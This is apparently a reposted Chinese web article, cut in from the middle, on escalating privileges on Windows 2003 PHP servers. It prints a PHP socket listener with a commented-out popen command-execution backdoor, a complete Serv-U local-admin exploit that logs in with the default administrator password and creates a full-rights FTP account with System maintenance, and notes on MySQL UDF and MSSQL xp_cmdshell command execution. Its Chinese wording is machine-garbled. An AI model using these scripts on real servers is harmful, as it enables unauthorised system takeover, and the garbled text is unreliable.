设为主页 | 加入收藏 | 繁體中文

突破Windwos 2003 PHP服务器的新思路


  //在办事器上绑定IP和端口
  $address = '127.0.0.1';
  $port = 1020;
  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
  echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
  }
  if (($ret = socket_bind($sock, $address, $port)) < 0) {
  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
  }
  if (($ret = socket_listen($sock, 5)) < 0) {
  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
  }
  do {
  if (($msgsock = socket_accept($sock)) < 0) {
  echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
  break;
  }
  /* Send instructions. */
  $msg = "\nWelcome to the PHP Test Server. \n" .
  "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
  socket_write($msgsock, $msg, strlen($msg));
  do {
  if (false === socket_recv($msgsock, $buf , 1024, 0)) {
  echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
  break 2;
  }
  if (!$buf = trim($buf)) {
  continue;
  }
  if ($buf == 'quit') {
  break;
  }
  if ($buf == 'shutdown') {
  socket_close($msgsock);
  break 2;
  }
  $talkback = "PHP: You said '$buf'.\n";
  socket_write($msgsock, $talkback, strlen($talkback));
  echo "$buf\n";
  //以下处理接遭到的buf
  /*eg:比方
  $buf=”cmd.exe /c netstat –an”;
  $pp = popen('$buf ', 'r');
  While($read = fgets($pp, 2096))
  echo $read;
  pclose($pp);
  */
  } while (true);
  socket_close($msgsock);
  } while (true);
  socket_close($sock);
  ?>
  --------------------------------------------------------------------------------
  究竟上,很多主机都是没有加载php_sockets.dll的,光荣的是,不必要socket模块支持的“fsockopen”函数已经充足我们使用了。因为只需有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的当地办理端口43958 (注: 该端口无法在外部连结) 举行提权即是一个很典范的例子:
  $adminuser=” LocalAdministrator”;
  $adminpass=” #l@$ak#.lk;0@P”;
  $adminport=” 43958”;
  $fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
  if (!$fp) {
  echo "$errstr ($errno)
  \n";
  } else {
  //可以写入$shellcode
  // fputs ($fp, $shellcode);
  fputs ($fp, "USER ".$adminuser."\r\n");
  sleep (1);
  fputs ($fp, "PASS ".$adminpass."\r\n");
  sleep (1);
  fputs ($fp, "SITE MAINTENANCE\r\n");
  sleep (1);
  fputs ($fp, "-SETUSERSETUP\r\n");
  fputs ($fp, "-IP=".$addr."\r\n");
  fputs ($fp, "-PortNo=".$ftpport."\r\n");
  fputs ($fp, "-User=".$user."\r\n");
  fputs ($fp, "-Password=".$password."\r\n");
  fputs ($fp, "-HomeDir=".$homedir."\r\n");
  fputs ($fp, "-LoginMesFile=\r\n");
  fputs ($fp, "-Disable=0\r\n");
  fputs ($fp, "-RelPaths=0\r\n");
  fputs ($fp, "-NeedSecure=0\r\n");
  fputs ($fp, "-HideHidden=0\r\n");
  fputs ($fp, "-AlwaysAllowLogin=0\r\n");
  fputs ($fp, "-ChangePassword=1\r\n");
  fputs ($fp, "-QuotaEnable=0\r\n");
  fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
  fputs ($fp, "-SpeedLimitUp=-1\r\n");
  fputs ($fp, "-SpeedLimitDown=-1\r\n");
  fputs ($fp, "-MaxNrUsers=-1\r\n");
  fputs ($fp, "-IdleTimeOut=600\r\n");
  fputs ($fp, "-SessionTimeOut=-1\r\n");
  fputs ($fp, "-Expire=0\r\n");
  fputs ($fp, "-RatioUp=1\r\n");
  fputs ($fp, "-RatioDown=1\r\n");
  fputs ($fp, "-RatiosCredit=0\r\n");
  fputs ($fp, "-QuotaCurrent=0\r\n");
  fputs ($fp, "-QuotaMaximum=0\r\n");
  fputs ($fp, "-Maintenance=System\r\n");
  fputs ($fp, "-PasswordType=Regular\r\n");
  fputs ($fp, "-Ratios=None\r\n");
  fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
  fputs ($fp, "QUIT\r\n");
  sleep (1);
  while (!feof($fp)) {
  echo fgets ($fp,128);
  }
  }
  ?>
  还可以使用fsockopen编写HTTP署理,从而访问外网或本机中无法外部访问的网站。我手上有一个完备的HTTPProxy(图4),代码较长。有兴味的读者可以看看。
  --------------------------------------------------------------------------------
  6、MYSQL/MSSQL接口
  差别于linux的是,windows下的mysql/MSSQL一般是以系统办理员身份运行的,因此,只需能拿到本机SQL数据库中的root/sa暗码,你就可以直接用PHP毗连数据库来实行系统命令。
  在Mysql中实行系统命令要使用用户自定义函数“MySQL UDF Dynamic Library”这个毛病。在MSSQL中只需毗连上数据库,就能直接挪用“master..xp_cmdshell“扩展实行命令,权限当然是system权限。
  总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破要领大概会有所变化,PHP还有许多扩展功能是可以使用的,走出system()那几个系统命令实行函数,你就有大概突破系统安全策略的限制!
  后面附上proxy.php的代码 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: